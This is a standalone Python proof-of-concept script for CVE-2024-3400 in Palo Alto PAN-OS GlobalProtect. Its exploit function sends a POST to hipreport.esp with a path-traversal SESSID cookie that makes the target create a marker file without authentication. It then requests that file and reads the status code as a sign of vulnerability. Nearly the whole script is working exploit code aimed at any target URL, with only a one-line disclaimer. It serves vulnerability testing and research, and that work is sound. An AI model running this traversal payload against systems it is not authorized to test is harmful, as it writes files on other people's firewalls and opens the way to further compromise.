#!/usr/bin/env python3 """ POC: PAN-OS GlobalProtect unauthenticated file-creation indicator check CVE: CVE-2024-3400 DISCLAIMER: For authorized security research only. """ from __future__ import annotations import argparse import ssl import urllib.error import urllib.request from urllib.parse import urljoin def request(target: str, method: str, path: str, headers: dict[str, str], data: bytes | None = None) -> int: url = urljoin(target.rstrip("/") + "/", path.lstrip("/")) req = urllib.request.Request(url=url, data=data, method=method) for key, value in headers.items(): req.add_header(key, value) context = ssl._create_unverified_context() if target.startswith("https://") else None try: with urllib.request.urlopen(req, context=context, timeout=15) as response: return response.getcode() except urllib.error.HTTPError as exc: return exc.code except urllib.error.URLError as exc: print(f"[!] Request to {url} failed: {exc.reason}") return -1 def exploit(target: str, marker: str) -> None: cookie = f"SESSID=/../../../var/appweb/sslvpndocs/global-protect/portal/images/{marker};" post_status = request( target=target, method="POST", path="/ssl-vpn/hipreport.esp", headers={"Cookie": cookie, "Content-Type": "application/x-www-form-urlencoded"}, data=b"", ) print(f"[+] POST /ssl-vpn/hipreport.esp -> HTTP {post_status}") check_path = f"/global-protect/portal/images/{marker}" check_status = request(target=target, method="GET", path=check_path, headers={}) print(f"[+] GET {check_path} -> HTTP {check_status}") if check_status == 403: print("[!] Possible vulnerability indicator observed (403 on marker file).") elif check_status == 404: print("[-] Marker file not reachable (404).") else: print("[?] Inconclusive response; perform manual validation.") def parse_args() -> argparse.Namespace: parser = argparse.ArgumentParser(description="CVE-2024-3400 indicator PoC") parser.add_argument("--target", required=True, help="Target base URL, e.g. https://firewall.example") parser.add_argument("--marker", default="hellome1337.txt", help="Marker filename to use") return parser.parse_args() if __name__ == "__main__": args = parse_args() exploit(args.target, args.marker)